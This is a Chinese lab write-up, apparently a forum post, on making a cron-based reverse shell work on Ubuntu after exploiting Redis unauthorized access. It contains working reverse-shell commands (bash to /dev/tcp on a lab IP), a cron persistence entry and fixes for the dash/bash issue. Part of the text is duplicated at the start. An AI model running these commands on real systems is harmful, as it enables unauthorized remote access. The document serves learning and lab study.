下面来说一下第二种解决办法,首先我们先将/bin/sh的指向改回dashln -s -f dash /bin/sh


下面来说一下第二种方法,就是避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件
shell脚本文件如下,文件名为/tmp/test.sh#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1

然后为test.sh加上执行权限chmod +x /tmp/test.sh

之后任务计划里的内容修改为[i] [/i] [i] [/i] * /tmp/test.sh

可以看到kali上成功反弹到了shell
总结
这一次真的是踩了很多坑,最终才终于弄明白,通过这次的学习使我对linux的认识更加的深刻了,同时也学到了解决问题的思路和方法,在这里十分感谢kakaxi和ttgo2两位大神的帮助! 查看全部
这个问题的由来是因为自己在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题,结果因为这个问题卡了很久,最终在kakaxi和ttgo2两位大佬的指导和帮助下才解决了该问题,将整个问题的解决过程在这里记录一下~
环境说明
ubuntu16.04桌面版:192.168.0.107,用来任务计划反弹shell的靶机
kali2.0:192.168.0.106,用来接收ubuntu反弹过来的shell具体过程
事情源自于我利用redis未授权访问漏洞在向ubuntu的
/var/spool/cron/crontabs
目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的kali上
任务计划文件
/var/spool/cron/crontabs/root
内容如下
[i] [/i] [i] [/i] * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1

需要特别注意的一点是这的root文件的权限必须为600,也就是
rw-------
,否则会出现
cron[53948]: (root) INSECURE MODE (mode 0600 expected)
的错误,会影响到后面的实验 但是kali却迟迟接收不到反弹过来的shell
之前在centos上利用的时候并没有出现这种情况,使用ubuntu的时候居然不行,下面我们就来一步步的排查看看到底是什么原因导致的
首先,咱们先来看一下系统日志
tail -f /var/log/syslog


通过系统日志可以看到
CRON[55318]: (CRON) info (No MTA installed, discarding output)
这一条,我们之所以反弹shell失败,和这句话有着很大的关系,百度了一番后得到这句话的大概意思就是我们任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误
通过了上面的信息,可以推断出我们任务计划中的命令执行出现了某种错误,然后ubuntu处理这种错误方式是将错误信息发送到本地的邮件服务器,但是邮件服务器不存在,那么我们要想办法将错误信息重定向到文件里面去看看究竟是命令的什么地方产生了错误,修改任务计划文件为
[i] [/i] [i] [/i] * '/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1'>/tmp/error.txt 2>&1

1代表标准输出。2代表标准错误输出,也就是命令执行出现的错误,这里将
/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1
执行的标准错误输出重定向到输出流,也就是
/tmp/error.txt
这个文件中,而不是邮件服务器,然后再看日志就没有刚刚的错误了
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found
下面可以看到tmp目录下新生成了一个记录错误信息的文件error.txt,内容如下

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件
ls -al /bin/sh

可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因 那么之前的centos为什么就能成功,下面来看一下centos/bin/sh的指向

可以看到centos中
/bin/sh
的指向是bash,所以命令执行不会出错
搞清楚了根本的原因后,来说一下解决的办法,这里有两种解决办法,其中一种解决办法是通过修改ubuntu中
/bin/sh
的指向,将dash改为bash即可,命令如下
ln -s -f bash /bin/sh


可以看到此时
/bin/sh
以及指向了
bash
,此时将任务计划里的文件修改为之前反弹shell的命令,可以看到不会再报错了,并且shell成功反弹到了kali上


下面来说一下第二种解决办法,首先我们先将
/bin/sh
的指向改回
dash
ln -s -f dash /bin/sh


下面来说一下第二种方法,就是避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件
shell脚本文件如下,文件名为
/tmp/test.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1


然后为test.sh加上执行权限
chmod +x /tmp/test.sh


之后任务计划里的内容修改为
[i] [/i] [i] [/i] * /tmp/test.sh


可以看到kali上成功反弹到了shell
总结
这一次真的是踩了很多坑,最终才终于弄明白,通过这次的学习使我对linux的认识更加的深刻了,同时也学到了解决问题的思路和方法,在这里十分感谢kakaxi和ttgo2两位大神的帮助!